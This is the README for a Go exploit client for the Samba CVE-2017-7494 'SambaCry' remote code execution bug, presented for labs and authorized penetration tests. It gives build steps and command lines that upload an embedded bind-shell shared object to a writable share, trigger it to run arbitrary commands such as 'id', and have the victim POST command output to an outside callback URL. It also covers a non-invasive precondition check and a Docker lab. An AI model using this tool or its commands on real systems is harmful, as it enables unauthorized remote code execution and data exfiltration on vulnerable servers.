
Standalone Go exploit client for Samba CVE-2017-7494: uploads a shared-object payload to a writable SMB share and triggers dlopen via IPC$ named pipes, with precondition checks and callback modes.
Standalone Go exploit client for CVE-2017-7494 (no Python, Impacket, or venv on the attacker host). It uploads a Linux .so to a writable SMB share and triggers dlopen through a crafted named pipe on IPC$ (forward slashes preserved — required for the bug).
Attribution: technique described in public research on SambaCry; not affiliated with third-party PoC maintainers.
More docs: DEPENDENCIES.md · CLONE.md (first-time build) · requirements-system.apt
Full text: DISCLAIMER.md
Educational and authorized use only. This project exists to study CVE-2017-7494 and to demonstrate impact in controlled environments (labs, CTFs, penetration tests with written permission).
The author is not responsible for any use or misuse of this code, including illegal or unauthorized activities. You assume full responsibility for complying with applicable laws and contracts. The author provides this software as-is, with no warranty.
If you store this repository privately, restrict who can access it and do not deploy it against production systems without approval.
| Topic | Detail |
|---|---|
| Attacker binary | sambacry — built for your OS/CPU (make clients → dist/) |
| Victim payload | libbindshell-samba.so — must match the Samba server OS/CPU (default build: linux/amd64) |
| Affected Samba | ≥3.5.0 before fixes 3.6.25 / 4.4.14 / 4.5.10 / 4.6.4 (distro backports may differ) |
Victim .so is built from payload/bindshell-samba.c and embedded at build time (not committed to git).
make deps # optional: apt + go modules (see DEPENDENCIES.md)
make # amd64 victim .so + cross-compile dist/sambacry-*
make native # local ./sambacry only
On ARM Kali, the client can be arm64 while the victim .so stays amd64: VICTIM_ARCH=amd64 make payload (default).
Do not rely on plain go build on a fresh clone — run make clients or make native so internal/payload/libbindshell-samba.so exists for go:embed.
./sambacry -t TARGET -u USER -p PASS -P 6699 -c id
| Flag | Purpose |
|---|---|
-t | Target IP or hostname |
-u / -p | Credentials |
-N | Anonymous SMB (null session), like smbclient -N |
-u guest | Guest account |
-s / -r | Share and remote path (auto-detected if omitted when creds allow) |
-e | Local payload .so (default: embedded) |
-P / -c | One-shot listener port and command (-P 0 = trigger only, no connect-back) |
-callback | Outbound HTTP POST of command output to URL (Collaborator/webhook); no inbound port on target (curl/wget on victim) |
-callback-host | Optional: replace loopback in -callback with an IP/hostname the victim can reach (your LAN IP, 172.17.0.1 for local Docker lab, etc.) |
--try-all-shares | Try each writable share until success |
--no-color | Plain terminal output |
Auth: -u/-p, -u guest, or -N / -u %. Many real targets block null sessions; guest needs guest ok and writable shares.
| Scenario | -callback |
|---|---|
| Internet / OAST | https://YOUR_ID.oast.fun (Burp Collaborator, etc.) — victim must egress to the internet |
| Self-hosted (lab/LAN) | URL the victim can reach; optional tools/http-request-logger/ on your host (Python 3, stdlib only — not netcat; curl needs HTTP 200) |
Victim runs the command and POSTs output; nothing listens on the target. See docs/DOCKER-LAB.md for docker-bridge (-callback-host 172.17.0.1) notes.
-check)Non-invasive precondition test (no payload upload, no dlopen trigger):
./sambacry -check -t TARGET -u USER -p PASS
./sambacry -check -t TARGET -u USER -p PASS --samba-version "Samba 4.5.9"
| Color | Meaning |
|---|---|
| Green | Writable share + named pipes and Samba version in CVE affected range |
| Yellow | Preconditions OK; version unknown or inconclusive |
| Red | Preconditions missing or version looks patched (upstream numbering) |
Exit codes: 0 = green, 2 = yellow, 1 = red.
Order of attempts:
--samba-version or env SAMBACRY_SAMBA_VERSIONnmap --script smb-os-discovery (anonymous, then with your -u/-p)smbclient -L / nmap -sV if installed on the attacker hostWindows .exe: usually no smbclient/nmap on PATH. Use --samba-version from prior recon, install Nmap for Windows for credentialed discovery, or accept a yellow check and run the exploit with explicit authorization. Version is advisory for the check banner only; exploit does not require -check.
Dev-only: SAMBACRY_LAB_HINTS=1 enables a local Docker smbd -V hint — not for real engagements.
Full steps: docs/DOCKER-LAB.md
Quick start:
./scripts/lab-up.sh # docker compose → vulnerables/cve-2017-7494 on :445
make native # build ./sambacry once
./sambacry -check -t 127.0.0.1 -u sambacry -p nosambanocry
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -P 6699 -c id
# Callback: OAST or local HTTP logger (see docs/DOCKER-LAB.md)
./sambacry -t 127.0.0.1 -u sambacry -p nosambanocry -callback 'https://YOUR.oast.fun' -c 'id;hostname'
./scripts/lab-down.sh # stop lab
Optional Samba profiles: ./scripts/lab-apply-smb.sh stock|multi|anonymous|rename (configs in testdata/).
This repo includes docker-compose.yml only (pulls the public lab image). It does not build Samba from source — see docs/DOCKER-LAB.md if you need a custom image.
cmd/sambacry/ CLI entrypoint
internal/check/ CVE-2017-7494 precondition checks
internal/exploit/ exploit orchestration
internal/smbops/ SMB session, auth, upload
internal/target/ share probe, paths, triggers
internal/out/ terminal colors
internal/payload/ go:embed victim .so
third_party/go-smb2/ vendored SMB2 + SambaCry helpers
payload/ bindshell-samba.c source
docker-compose.yml optional lab target (image: vulnerables/cve-2017-7494)
docs/ DOCKER-LAB.md — setup and execute walkthrough
testdata/ optional Docker lab smb.conf snippets
scripts/ build + lab-up / lab-down / lab-apply-smb
tools/http-request-logger/ optional HTTP request/response logger (Python; see README there)